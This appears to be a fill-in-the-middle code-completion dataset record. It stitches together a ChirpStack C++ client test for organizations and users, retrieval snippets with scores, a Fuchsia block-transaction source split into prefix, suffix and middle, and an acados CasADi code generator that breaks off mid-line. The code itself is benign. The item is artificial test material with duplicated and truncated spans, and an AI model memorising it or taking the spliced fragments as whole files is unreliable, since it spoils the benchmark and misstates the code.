admin: " << std::boolalpha << organization_user.is_admin() << std::endl; if (!organization_user.is_admin()) { std::cout << "\t\tIs device admin: " << std::boolalpha << organization_user.is_device_admin() << std::endl; std::cout << "\t\tIs gateway admin: " << std::boolalpha << organization_user.is_gateway_admin() << std::endl; } } } void test_delete_organization_user(chirpstack_client& client, test_cache& cache) { delete_organization_user_request request; request.set_organization_id(cache.organization_id); request.set_user_id(cache.user_id); auto response = client.delete_organization_user(request); if (!response.is_valid()) { std::cerr << "Failed to delete organization user: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } } void validate_config() { if (test_config().application_server.empty()) { throw std::runtime_error("Invalid application server"); } if (test_config().global_jwt_token.empty()) { throw std::runtime_error("Invalid global JWT token"); } if (test_config().org_name.empty()) { throw std::runtime_error("Invalid organization name"); } if (test_config().org_display_name.empty()) { throw std::runtime_error("Invalid organization server"); } if (test_config().usr_username.empty()) { throw std::runtime_error("Invalid user username"); } if (test_config().usr_password.empty()) { throw std::runtime_error("Invalid user password"); } } int main(int argc, char** argv) { validate_config(); chirpstack_client_config config{}; config.jwt_token = test_config().global_jwt_token; config.log_enabled = test_config().client_log_enabled; chirpstack_client client{test_config().application_server, config}; test_cache cache; std::cout << "TEST CREATE ORGANIZATION" << std::endl; test_create_organization(client, cache); std::cout << "TEST GET ORGANIZATION" << std::endl; test_get_organization(client, cache); std::cout << "TEST UPDATE ORGANIZATION" << std::endl; test_update_organization(client, cache); std::cout << "TEST LIST ORGANIZATION" << std::endl; test_list_organization(client, cache); std::cout << "CREATE USER" << std::endl; create_user(client, cache); std::cout << "TEST ADD ORGANIZATION USER" << std::endl; test_add_organization_user(client, cache); std::cout << "TEST GET ORGANIZATION USER" << std::endl; test_get_organization_user(client, cache); std::cout << "TEST UPDATE ORGANIZATION USER" << std::endl; test_update_organization_user(client, cache); std::cout << "TEST LIST ORGANIZATION USER" << std::endl; test_list_organization_user(client, cache); std::cout << "TEST DELETE ORGANIZATION USER" << std::endl; test_delete_organization_user(client, cache); std::cout << "DELETE USER" << std::endl; delete_user(client, cache); std::cout << "TEST DELETE ORGANIZATION" << std::endl; test_delete_organization(client, cache); return EXIT_SUCCESS; }
#include "test_config.h" #include <chirpstack_client/chirpstack_client.h> #include <iostream> using namespace chirpstack_cpp_client; struct test_cache { int64_t organization_id; api::Organization organization; int64_t user_id; api::OrganizationUser organization_user; }; void create_user(chirpstack_client& client, test_cache& cache) { create_user_request request; request.mutable_user()->set_session_ttl(60); request.mutable_user()->set_is_admin(false); request.mutable_user()->set_is_active(true); request.mutable_user()->set_email(test_config().usr_username); request.mutable_user()->set_note(test_config().usr_username); request.set_password(test_config().usr_password); auto response = client.create_user(request);
cache.user_id = response.get().id(); } void delete_user(chirpstack_client& client, test_cache& cache) { delete_user_request request; request.set_id(cache.user_id); auto response = client.delete_user(request); if (!response.is_valid()) { std::cerr << "Failed to delete user: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } } void test_create_organization(chirpstack_client& client, test_cache& cache) { create_organization_request request; request.mutable_organization()->set_name(test_config().org_name); request.mutable_organization()->set_display_name(test_config().org_display_name); request.mutable_organization()->set_can_have_gateways(true); request.mutable_organization()->set_max_gateway_count(10); request.mutable_organization()->set_max_device_count(100); auto response = client.create_organization(request); if (!response.is_valid()) { std::cerr << "Failed to create organization: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } cache.organization_id = response.get().id(); } void test_get_organization(chirpstack_client& client, test_cache& cache) { get_organization_request request; request.set_id(cache.organization_id); auto response = client.get_organization(request); if (!response.is_valid()) { std::cerr << "Failed to get organization: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } cache.organization = response.get().organization(); std::cout << "\tOrganization " << cache.organization.name() << std::endl; std::cout << "\t\tDisplay name: " << std::boolalpha << cache.organization.display_name() << std::endl; std::cout << "\t\tID: " << cache.organization.id() << std::endl; std::cout << "\t\tCan have gateways: " << std::boolalpha << cache.organization.can_have_gateways() << std::endl; std::cout << "\t\tMax gateway count: " << cache.organization.max_gateway_count() << std::endl; std::cout << "\t\tMax device count: " << cache.organization.max_device_count() << std::endl; } void test_update_organization(chirpstack_client& client, test_cache& cache) { update_organization_request request; *request.mutable_organization() = cache.organization; request.mutable_organization()->set_max_device_count(1000); auto response = client.update_organization(request); if (!response.is_valid()) { std::cerr << "Failed to update organization: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } } void test_list_organization(chirpstack_client& client, test_cache& cache) { list_organization_request request; request.set_limit(10); auto response = client.list_organization(request); if (!response.is_valid()) { std::cerr << "Failed to list organization: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } for (const auto& organization : response.get().result()) { std::cout << "\tOrganization " << organization.name() << std::endl; std::cout << "\t\tDisplay name: " << std::boolalpha << organization.display_name() << std::endl; std::cout << "\t\tID: " << organization.id() << std::endl; std::cout << "\t\tCan have gateways: " << std::boolalpha << organization.can_have_gateways() << std::endl; } } void test_delete_organization(chirpstack_client& client, test_cache& cache) { delete_organization_request request; request.set_id(cache.organization_id); auto response = client.delete_organization(request); if (!response.is_valid()) { std::cerr << "Failed to delete organization: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } } void test_add_organization_user(chirpstack_client& client, test_cache& cache) { add_organization_user_request request; request.mutable_organization_user()->set_organization_id(cache.organization_id); request.mutable_organization_user()->set_user_id(cache.user_id); request.mutable_organization_user()->set_is_admin(false); request.mutable_organization_user()->set_is_device_admin(true); request.mutable_organization_user()->set_is_gateway_admin(false); request.mutable_organization_user()->set_email(test_config().usr_username); auto response = client.add_organization_user(request); if (!response.is_valid()) { std::cerr << "Failed to add organization user: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } } void test_get_organization_user(chirpstack_client& client, test_cache& cache) { get_organization_user_request request; request.set_organization_id(cache.organization_id); request.set_user_id(cache.user_id); auto response = client.get_organization_user(request); if (!response.is_valid()) { std::cerr << "Failed to get organization user: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } cache.organization_user = response.get().organization_user(); std::cout << "\tOrganization " << cache.organization.name() << "'s user " << cache.organization_user.email() << std::endl; std::cout << "\t\tID: " << cache.organization_user.user_id() << std::endl; std::cout << "\t\tIs admin: " << std::boolalpha << cache.organization_user.is_admin() << std::endl; if (!cache.organization_user.is_admin()) { std::cout << "\t\tIs device admin: " << std::boolalpha << cache.organization_user.is_device_admin() << std::endl; std::cout << "\t\tIs gateway admin: " << std::boolalpha << cache.organization_user.is_gateway_admin() << std::endl; } } void test_update_organization_user(chirpstack_client& client, test_cache& cache) { update_organization_user_request request; *request.mutable_organization_user() = cache.organization_user; request.mutable_organization_user()->set_is_admin(true); auto response = client.update_organization_user(request); if (!response.is_valid()) { std::cerr << "Failed to update organization user: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } } void test_list_organization_user(chirpstack_client& client, test_cache& cache) { list_organization_users_request request; request.set_organization_id(cache.organization_id); request.set_limit(10); auto response = client.list_organization_users(request); if (!response.is_valid()) { std::cerr << "Failed to list organization user: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } for (const auto& organization_user : response.get().result()) { std::cout << "\tOrganization " << cache.organization.name() << "'s user " << organization_user.email() << std::endl; std::cout << "\t\tID: " << organization_user.user_id() << std::endl; std::cout << "\t\tIs admin: " << std::boolalpha << organization_user.is_admin() << std::endl; if (!organization_user.is_admin()) { std::cout << "\t\tIs device admin: " << std::boolalpha << organization_user.is_device_admin() << std::endl; std::cout << "\t\tIs gateway admin: " << std::boolalpha << organization_user.is_gateway_admin() << std::endl; } } } void test_delete_organization_user(chirpstack_client& client, test_cache& cache) { delete_organization_user_request request; request.set_organization_id(cache.organization_id); request.set_user_id(cache.user_id); auto response = client.delete_organization_user(request); if (!response.is_valid()) { std::cerr << "Failed to delete organization user: " << response.error_code() << std::endl; exit(EXIT_FAILURE); } } void validate_config() { if (test_config().application_server.empty()) { throw std::runtime_error("Invalid application server"); } if (test_config().global_jwt_token.empty()) { throw std::runtime_error("Invalid global JWT token"); } if (test_config().org_name.empty()) { throw std::runtime_error("Invalid organization name"); } if (test_config().org_display_name.empty()) { throw std::runtime_error("Invalid organization server"); } if (test_config().usr_username.empty()) { throw std::runtime_error("Invalid user username"); } if (test_config().usr_password.empty()) { throw std::runtime_error("Invalid user password"); } } int main(int argc, char** argv) { validate_config(); chirpstack_client_config config{}; config.jwt_token = test_config().global_jwt_token; config.log_enabled = test_config().client_log_enabled; chirpstack_client client{test_config().application_server, config}; test_cache cache; std::cout << "TEST CREATE ORGANIZATION" << std::endl; test_create_organization(client, cache); std::cout << "TEST GET ORGANIZATION" << std::endl; test_get_organization(client, cache); std::cout << "TEST UPDATE ORGANIZATION" << std::endl; test_update_organization(client, cache); std::cout << "TEST LIST ORGANIZATION" << std::endl; test_list_organization(client, cache); std::cout << "CREATE USER" << std::endl; create_user(client, cache); std::cout << "TEST ADD ORGANIZATION USER" << std::endl; test_add_organization_user(client, cache); std::cout << "TEST GET ORGANIZATION USER" << std::endl; test_get_organization_user(client, cache); std::cout << "TEST UPDATE ORGANIZATION USER" << std::endl; test_update_organization_user(client, cache); std::cout << "TEST LIST ORGANIZATION USER" << std::endl; test_list_organization_user(client, cache); std::cout << "TEST DELETE ORGANIZATION USER" << std::endl; test_delete_organization_user(client, cache); std::cout << "DELETE USER" << std::endl; delete_user(client, cache); std::cout << "TEST DELETE ORGANIZATION" << std::endl; test_delete_organization(client, cache); return EXIT_SUCCESS; }
if (!response.is_valid()) { std::cerr << "Failed to create user: " << response.error_code() << std::endl; exit(EXIT_FAILURE); }
if_condition
[ { "content": " create_organization_response create_organization(const create_organization_request& request);\n", "file_path": "include/chirpstack_client/chirpstack_client.h", "rank": 1, "score": 79281.36845334683 }, { "content": " get_organization_response get_organization(const get_or...
C++
zircon/system/ulib/fs/transaction/block_transaction.cc
casey/fuchsia
2b965e9a1e8f2ea346db540f3611a5be16bb4d6b
#include <fs/transaction/block_transaction.h> #include <zircon/device/block.h> #include <utility> #include <fbl/algorithm.h> #include <fbl/macros.h> #include <fbl/vector.h> namespace fs { BlockTxn::BlockTxn(LegacyTransactionHandler* handler) : handler_(handler) {} BlockTxn::~BlockTxn() { Transact(); } #ifdef __Fuchsia__ zx_status_t TransactionHandler::RunRequests( const std::vector<storage::BufferedOperation>& operations) { if (operations.empty()) { return ZX_OK; } std::vector<block_fifo_request_t> block_requests; block_requests.resize(operations.size()); for (size_t i = 0; i < operations.size(); i++) { auto& request = block_requests[i]; request.vmoid = operations[i].vmoid; const auto& operation = operations[i].op; switch (operation.type) { case storage::OperationType::kRead: request.opcode = BLOCKIO_READ; break; case storage::OperationType::kWrite: request.opcode = BLOCKIO_WRITE; break; case storage::OperationType::kTrim: request.opcode = BLOCKIO_TRIM; break; default: ZX_DEBUG_ASSERT_MSG(false, "Unsupported operation"); } ZX_DEBUG_ASSERT(operation.type == operations[0].op.type); request.vmo_offset = BlockNumberToDevice(operation.vmo_offset); request.dev_offset = BlockNumberToDevice(operation.dev_offset); uint64_t length = BlockNumberToDevice(operation.length); ZX_ASSERT_MSG(length < UINT32_MAX, "Request size too large"); request.length = static_cast<uint32_t>(length); } return GetDevice()->FifoTransaction(&block_requests[0], operations.size()); } void BlockTxn::EnqueueOperation(uint32_t op, vmoid_t id, uint64_t vmo_offset, uint64_t dev_offset, uint64_t nblocks) { ZX_ASSERT_MSG(nblocks < UINT32_MAX, "Too many blocks"); uint32_t blocks = static_cast<uint32_t>(nblocks); for (size_t i = 0; i < requests_.size(); i++) { if (requests_[i].vmoid != id || requests_[i].opcode != op) { continue; } if (requests_[i].vmo_offset == vmo_offset) { if (requests_[i].length <= blocks) { requests_[i].length = blocks; } return; } else if ((requests_[i].vmo_offset + requests_[i].length == vmo_offset) && (requests_[i].dev_offset + requests_[i].length == dev_offset)) { requests_[i].length += blocks; return; } } block_fifo_request_t request; request.opcode = op; request.vmoid = id; request.length = blocks; request.vmo_offset = vmo_offset; request.dev_offset = dev_offset; requests_.push_back(std::move(request)); } zx_status_t BlockTxn::Transact() { if (requests_.is_empty()) { return ZX_OK; } const size_t kBlockFactor = handler_->FsBlockSize() / handler_->DeviceBlockSize(); for (size_t i = 0; i < requests_.size(); i++) { requests_[i].vmo_offset *= kBlockFactor; requests_[i].dev_offset *= kBlockFactor; uint64_t length = requests_[i].length * kBlockFactor; ZX_ASSERT_MSG(length < UINT32_MAX, "Too many blocks"); requests_[i].length = static_cast<uint32_t>(length); } zx_status_t status = ZX_OK; if (requests_.size() != 0) { status = handler_->Transaction(requests_.data(), requests_.size()); } requests_.reset(); return status; } #else void BlockTxn::EnqueueOperation(uint32_t op, const void* id, uint64_t vmo_offset, uint64_t dev_offset, uint64_t nblocks) { for (size_t b = 0; b < nblocks; b++) { void* data = GetBlock(handler_->FsBlockSize(), id, vmo_offset + b); if (op == BLOCKIO_WRITE) { handler_->Writeblk(static_cast<uint32_t>(dev_offset + b), data); } else if (op == BLOCKIO_READ) { handler_->Readblk(static_cast<uint32_t>(dev_offset + b), data); } else if (op == BLOCKIO_FLUSH) { } else { ZX_ASSERT(false); } } } zx_status_t BlockTxn::Transact() { return ZX_OK; } #endif }
#include <fs/transaction/block_transaction.h> #include <zircon/device/block.h> #include <utility> #include <fbl/algorithm.h> #include <fbl/macros.h> #include <fbl/vector.h> namespace fs { BlockTxn::BlockTxn(LegacyTransactionHandler* handler) : handler_(handler) {} BlockTxn::~BlockTxn() { Transact(); } #ifdef __Fuchsia__ zx_status_t TransactionHandler::RunRequests( const std::vector<storage::BufferedOperation>& operations) { if (operations.empty()) { return ZX_OK; } std::vector<block_fifo_request_t> block_requests; block_requests.resize(operations.size()); for (size_t i = 0; i < operations.size(); i++) { auto& request = block_requests[i]; request.vmoid = operations[i].vmoid; const auto& operation = operations[i].op; switch (operation.type) { case storage::OperationType::kRead: request.opcode = BLOCKIO_READ; break; case storage::OperationType::kWrite: request.opcode = BLOCKIO_WRITE; break; case storage::OperationType::kTrim: request.opcode = BLOCKIO_TRIM; break; default: ZX_DEBUG_ASSERT_MSG(false, "Unsupported operation"); } ZX_DEBUG_ASSERT(operation.type == operations[0].op.type); request.vmo_offset = BlockNumberToDevice(operation.vmo_offset); request.dev_offset = BlockNumberToDevice(operation.dev_offset); uint64_t length = BlockNumberToDevice(operation.length); ZX_ASSERT_MSG(length < UINT32_MAX, "Request size too large"); request.length = static_cast<uint32_t>(length); } return GetDevice()->FifoTransaction(&block_requests[0], operations.size()); } void BlockTxn::EnqueueOperation(uint32_t op, vmoid_t id, uint64_t vmo_offset, uint64_t dev_offset, uint64_t nblocks) { ZX_ASSERT_MSG(nblocks < UINT32_MAX, "Too many blocks"); uint32_t blocks = static_cast<uint32_t>(nblocks); for (size_t i = 0; i < requests_.size(); i++) { if (requests_[i].vmoid != id || requests_[i].opcode != op) { continue; } if (requests_[i].vmo_offset == vmo_offset) { if (requests_[i].length <= blocks) { requests_[i].length = blocks; } return; } else if ((requests_[i].vmo_offset + requests_[i].length == vmo_offset) && (requests_[i].dev_offset + requests_[i].length == dev_offset)) { requests_[i].length += blocks; return; } } block_fifo_request_t request; request.opcode = op; request.vmoid = id; request.length = blocks; request.vmo_offset = vmo_offset; request.dev_offset = dev_offset; requests_.push_back(std::move(request)); } zx_status_t BlockTxn::Transact() { if (requests_.is_empty()) { return ZX_OK; } const size_t kBlockFactor = handler_->FsBlockSize() / handler_->DeviceBlockSize(); for (size_t i = 0; i < requests_.size(); i++) { requests_[i].vmo_offset *= kBlockFactor; requests_[i].dev_offset *= kBlockFactor; uint64_t length = requests_[i].length * kBlockFactor; ZX_ASSERT_MSG(length < UINT32_MAX, "Too many blocks"); requests_[i].length = static_cast<uint32_t>(length); } zx_status_t status = ZX_OK; if (requests_.size() != 0) { status = handler_->Transaction(requests_.data(), requests_.size()); } requests_.reset(); return status; } #else
zx_status_t BlockTxn::Transact() { return ZX_OK; } #endif }
void BlockTxn::EnqueueOperation(uint32_t op, const void* id, uint64_t vmo_offset, uint64_t dev_offset, uint64_t nblocks) { for (size_t b = 0; b < nblocks; b++) { void* data = GetBlock(handler_->FsBlockSize(), id, vmo_offset + b); if (op == BLOCKIO_WRITE) { handler_->Writeblk(static_cast<uint32_t>(dev_offset + b), data); } else if (op == BLOCKIO_READ) { handler_->Readblk(static_cast<uint32_t>(dev_offset + b), data); } else if (op == BLOCKIO_FLUSH) { } else { ZX_ASSERT(false); } } }
function_block-full_function
[]
C++
experimental/robin/acados_cpp/function_generation.cpp
mindThomas/acados
90d75386cad9f2b16115cce04685e90934c0f7d8
#include "acados_cpp/function_generation.hpp" #include <vector> namespace acados { using std::string; using std::vector; casadi_module generate_nls_residual(const casadi::Function& residual, string output_folder, const bool use_MX) { casadi::Function r_fun; if (use_MX == false) { casadi::SX x = residual.sx_in(0); casadi::SX u = residual.sx_in(1); vector<casadi::SX> xu{x, u}; vector<casadi::SX> ux{u, x}; casadi::SX r_new = casadi::SX::vertcat(residual(xu)); casadi::SX r_jacT = casadi::SX::jacobian(r_new, casadi::SX::vertcat(ux)).T(); r_fun = casadi::Function(residual.name() + "_nls_res", {casadi::SX::vertcat(ux)}, {r_new, r_jacT}); } else { casadi::MX x = residual.mx_in(0); casadi::MX u = residual.mx_in(1); vector<casadi::MX> xu{x, u}; vector<casadi::MX> ux{u, x}; casadi::MX r_new = casadi::MX::vertcat(residual(xu)); casadi::MX r_jacT = casadi::MX::jacobian(r_new, casadi::MX::vertcat(ux)).T(); r_fun = casadi::Function(residual.name() + "_nls_res", {casadi::MX::vertcat(ux)}, {r_new, r_jacT}); } return casadi_module(r_fun, output_folder); } casadi_module generate_impl_ode_fun(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function fun; if (use_MX == false) { casadi::SX x = model.sx_in("x"); casadi::SX xdot = model.sx_in("xdot"); casadi::SX u = model.sx_in("u"); casadi::SX z = model.sx_in("z"); casadi::SXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::SXDict rhs_dict = (model(arg_in)); casadi::SX rhs = rhs_dict.begin()->second; fun = casadi::Function(model.name() + "_impl_ode_fun", {x, xdot, u, z}, {rhs}); } else { casadi::MX x = model.mx_in("x"); casadi::MX xdot = model.mx_in("xdot"); casadi::MX u = model.mx_in("u"); casadi::MX z = model.mx_in("z"); casadi::MXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::MXDict rhs_dict = (model(arg_in)); casadi::MX rhs = rhs_dict.begin()->second; fun = casadi::Function(model.name() + "_impl_ode_fun", {x, xdot, u, z}, {rhs}); } return casadi_module(fun, output_folder); } casadi_module generate_impl_ode_fun_jac_x_xdot_z(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function fun; if (use_MX == false) { casadi::SX x = model.sx_in("x"); casadi::SX xdot = model.sx_in("xdot"); casadi::SX u = model.sx_in("u"); casadi::SX z = model.sx_in("z"); casadi::SXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::SXDict rhs_dict = (model(arg_in)); casadi::SX rhs = rhs_dict.begin()->second; casadi::SX jac_x = casadi::SX::jacobian(rhs, x); casadi::SX jac_z = casadi::SX::jacobian(rhs, z); casadi::SX jac_xdot = casadi::SX::jacobian(rhs, xdot); fun = casadi::Function(model.name() + "_impl_ode_fun_jac_x_xdot_z", {x, xdot, u, z}, {rhs, jac_x, jac_xdot, jac_z}); } else { casadi::MX x = model.mx_in("x"); casadi::MX xdot = model.mx_in("xdot"); casadi::MX u = model.mx_in("u"); casadi::MX z = model.mx_in("z"); casadi::MXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::MXDict rhs_dict = (model(arg_in)); casadi::MX rhs = rhs_dict.begin()->second; casadi::MX jac_x = casadi::MX::jacobian(rhs, x); casadi::MX jac_z = casadi::MX::jacobian(rhs, z); casadi::MX jac_xdot = casadi::MX::jacobian(rhs, xdot); fun = casadi::Function(model.name() + "_impl_ode_fun_jac_x_xdot_z", {x, xdot, u, z}, {rhs, jac_x, jac_xdot, jac_z}); } return casadi_module(fun, output_folder); } casadi_module generate_impl_ode_jac_x_xdot_u_z(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function fun; if (use_MX == false) { casadi::SX x = model.sx_in("x"); casadi::SX xdot = model.sx_in("xdot"); casadi::SX u = model.sx_in("u"); casadi::SX z = model.sx_in("z"); casadi::SXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::SXDict rhs_dict = (model(arg_in)); casadi::SX rhs = rhs_dict.begin()->second; casadi::SX jac_x = casadi::SX::jacobian(rhs, x); casadi::SX jac_u = casadi::SX::jacobian(rhs, u); casadi::SX jac_z = casadi::SX::jacobian(rhs, z); casadi::SX jac_xdot = casadi::SX::jacobian(rhs, xdot); fun = casadi::Function(model.name() + "_impl_ode_jac_x_xdot_u_z", {x, xdot, u, z}, {jac_x, jac_xdot, jac_u, jac_z}); } else { casadi::MX x = model.mx_in("x"); casadi::MX xdot = model.mx_in("xdot"); casadi::MX u = model.mx_in("u"); casadi::MX z = model.mx_in("z"); casadi::MXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::MXDict rhs_dict = (model(arg_in)); casadi::MX rhs = rhs_dict.begin()->second; casadi::MX jac_x = casadi::MX::jacobian(rhs, x); casadi::MX jac_u = casadi::MX::jacobian(rhs, u); casadi::MX jac_z = casadi::MX::jacobian(rhs, z); casadi::MX jac_xdot = casadi::MX::jacobian(rhs, xdot); fun = casadi::Function(model.name() + "_impl_ode_jac_x_xdot_u_z", {x, xdot, u, z}, {jac_x, jac_xdot, jac_u, jac_z}); } return casadi_module(fun, output_folder); } casadi_module generate_impl_ode_hess(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function fun; if (use_MX == false) { casadi::SX xdot = model.sx_in("xdot"); casadi::SX x = model.sx_in("x"); casadi::SX u = model.sx_in("u"); casadi::SX z = model.sx_in("z"); int_t nx = x.size1(); int_t nu = u.size1(); int_t nz = z.size1(); casadi::SX x_xdot_z_u = casadi::SX::vertcat(vector<casadi::SX>({x, xdot, z, u})); casadi::SX multiplier = casadi::SX::sym("multiplier", nx + nz, 1); casadi::SX mult_mat = casadi::SX::sym("mult_mat", 2*nx+nz+nu, nx + nu); casadi::SX HESS = casadi::SX::zeros(2*nx+nz+nu, 2*nx+nz+nu); casadi::SX jac_x_xdot_z; casadi::SX hess_x_xdot_z; casadi::SXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::SXDict model_dict = (model(arg_in)); casadi::SX model_expr = model_dict.begin()->second; for (int ii = 0; ii < nx+nz; ii++) { jac_x_xdot_z = jacobian(model_expr(ii), x_xdot_z_u); hess_x_xdot_z = jacobian(jac_x_xdot_z, x_xdot_z_u); HESS = HESS + multiplier(ii) * hess_x_xdot_z; } casadi::SX HESS_multiplied = mtimes(mult_mat.T() , mtimes(HESS, mult_mat)); fun = casadi::Function(model.name() + "_impl_ode_hess", {x, xdot, u, z, multiplier, mult_mat}, {HESS_multiplied}); } else { casadi::MX xdot = model.mx_in("xdot"); casadi::MX x = model.mx_in("x"); casadi::MX u = model.mx_in("u"); casadi::MX z = model.mx_in("z"); int_t nx = x.size1(); int_t nu = u.size1(); int_t nz = z.size1(); casadi::MX x_xdot_z_u = casadi::MX::vertcat(vector<casadi::MX>({x, xdot, z, u})); casadi::MX multiplier = casadi::MX::sym("multiplier", nx + nz, 1); casadi::MX mult_mat = casadi::MX::sym("mult_mat", 2*nx+nz+nu, nx + nu); casadi::MX HESS = casadi::MX::zeros(2*nx+nz+nu, 2*nx+nz+nu); casadi::MX jac_x_xdot_z; casadi::MX hess_x_xdot_z; casadi::MXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::MXDict model_dict = (model(arg_in)); casadi::MX model_expr = model_dict.begin()->second; for (int ii = 0; ii < nx+nz; ii++) { jac_x_xdot_z = jacobian(model_expr(ii), x_xdot_z_u); hess_x_xdot_z = jacobian(jac_x_xdot_z, x_xdot_z_u); HESS = HESS + multiplier(ii) * hess_x_xdot_z; } casadi::MX HESS_multiplied = mtimes(mult_mat.T() , mtimes(HESS, mult_mat)); fun = casadi::Function(model.name() + "_impl_ode_hess", {x, xdot, u, z, multiplier, mult_mat}, {HESS_multiplied}); } return casadi_module(fun, output_folder); } casadi_module generate_impl_ode_fun_jac_x_xdot_u(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function fun; if (use_MX == false) { casadi::SX x = model.sx_in("x"); casadi::SX xdot = model.sx_in("xdot"); casadi::SX u = model.sx_in("u"); casadi::SX z = model.sx_in("z"); casadi::SXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::SXDict rhs_dict = (model(arg_in)); casadi::SX rhs = rhs_dict.begin()->second; casadi::SX jac_x = casadi::SX::jacobian(rhs, x); casadi::SX jac_u = casadi::SX::jacobian(rhs, u); casadi::SX jac_xdot = casadi::SX::jacobian(rhs, xdot); fun = casadi::Function(model.name() + "_impl_ode_fun_jac_x_xdot_u", {x, xdot, u, z}, {rhs, jac_x, jac_xdot, jac_u}); } else { casadi::MX x = model.mx_in("x"); casadi::MX xdot = model.mx_in("xdot"); casadi::MX u = model.mx_in("u"); casadi::MX z = model.mx_in("z"); casadi::MXDict arg_in = {{"x", x}, {"xdot", xdot}, {"u", u}, {"z", z}}; casadi::MXDict rhs_dict = (model(arg_in)); casadi::MX rhs = rhs_dict.begin()->second; casadi::MX jac_x = casadi::MX::jacobian(rhs, x); casadi::MX jac_u = casadi::MX::jacobian(rhs, u); casadi::MX jac_xdot = casadi::MX::jacobian(rhs, xdot); fun = casadi::Function(model.name() + "_impl_ode_fun_jac_x_xdot_u", {x, xdot, u, z}, {rhs, jac_x, jac_xdot, jac_u}); } return casadi_module(fun, output_folder); } casadi_module generate_forward_vde(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function vde_fun; if (use_MX == false) { casadi::SX x = model.sx_in("x"); casadi::SX u = model.sx_in("u"); int_t nx = x.size1(); int_t nu = u.size1(); casadi::SX rhs = casadi::SX::vertcat(model(vector<casadi::SX>({x, u}))); casadi::SX Sx = casadi::SX::sym("Sx", nx, nx); casadi::SX Su = casadi::SX::sym("Su", nx, nu); casadi::SX vde_x = casadi::SX::jtimes(rhs, x, Sx); casadi::SX vde_u = casadi::SX::jacobian(rhs, u) + casadi::SX::jtimes(rhs, x, Su); vde_fun = casadi::Function(model.name() + "_expl_vde_for", {x, Sx, Su, u}, {rhs, vde_x, vde_u}); } else { casadi::MX x = model.mx_in("x"); casadi::MX u = model.mx_in("u"); int_t nx = x.size1(); int_t nu = u.size1(); casadi::MX rhs = casadi::MX::vertcat(model(vector<casadi::MX>({x, u}))); casadi::MX Sx = casadi::MX::sym("Sx", nx, nx); casadi::MX Su = casadi::MX::sym("Su", nx, nu); casadi::MX vde_x = casadi::MX::jtimes(rhs, x, Sx); casadi::MX vde_u = casadi::MX::jacobian(rhs, u) + casadi::MX::jtimes(rhs, x, Su); vde_fun = casadi::Function(model.name() + "_expl_vde_for", {x, Sx, Su, u}, {rhs, vde_x, vde_u}); } return casadi_module(vde_fun, output_folder); } casadi_module generate_expl_ode_fun(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function fun; if (use_MX == false) { casadi::SX x = model.sx_in("x"); casadi::SX u = model.sx_in("u"); casadi::SX rhs = casadi::SX::vertcat(model(vector<casadi::SX>({x, u}))); fun = casadi::Function(model.name() + "_expl_ode_fun", {x, u}, {rhs}); } else { casadi::MX x = model.mx_in("x"); casadi::MX u = model.mx_in("u"); casadi::MX rhs = casadi::MX::vertcat(model(vector<casadi::MX>({x, u}))); fun = casadi::Function(model.name() + "_expl_ode_fun", {x, u}, {rhs}); } return casadi_module(fun, output_folder); } casadi_module generate_expl_vde_adj(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function fun; if (use_MX == false) { casadi::SX x = model.sx_in("x"); casadi::SX u = model.sx_in("u"); casadi::SX rhs = casadi::SX::vertcat(model(vector<casadi::SX>({x, u}))); int_t nx = x.size1(); casadi::SX lambdaX = casadi::SX::sym("lambdaX", nx, 1); casadi::SX w = casadi::SX::vertcat(vector<casadi::SX>({x, u})); casadi::SX adj = casadi::SX::jtimes(rhs, w, lambdaX, true); fun = casadi::Function(model.name() + "_expl_vde_adj", {x, lambdaX, u}, {adj}); } else { casadi::MX x = model.mx_in("x"); casadi::MX u = model.mx_in("u"); casadi::MX rhs = casadi::MX::vertcat(model(vector<casadi::MX>({x, u}))); int_t nx = x.size1(); casadi::MX lambdaX = casadi::MX::sym("lambdaX", nx, 1); casadi::MX w = casadi::MX::vertcat(vector<casadi::MX>({x, u})); casadi::MX adj = casadi::MX::jtimes(rhs, w, lambdaX, true); fun = casadi::Function(model.name() + "_expl_vde_adj", {x, lambdaX, u}, {adj}); } return casadi_module(fun, output_folder); } casadi_module generate_expl_ode_hess(const casadi::Function& model, string output_folder, const bool use_MX) { casadi::Function fun; if (use_MX == false) { casadi::SX x = model.sx_in("x"); casadi::SX u = model.sx_in("u"); casadi::SX rhs = casadi::SX::vertcat(model(vector<casadi::SX>({x, u}))); int_t nx = x.size1(); int_t nu = u.size1(); casadi::SX Sx = casadi::SX::sym("Sx", nx, nx); casadi::SX Sp = casadi::SX::sym("Sp", nx, nu); casadi::SX lambdaX = casadi::SX::sym("lambdaX", nx, 1); casadi::SX w = casadi::SX::vertcat(vector<casadi::SX>({x, u})); casadi::SX adj = casadi::SX::jtimes(rhs, w, lambdaX, true); std::vector<casadi::SX> SxSp = {Sx, Sp}; std::vector<casadi::SX> aux = 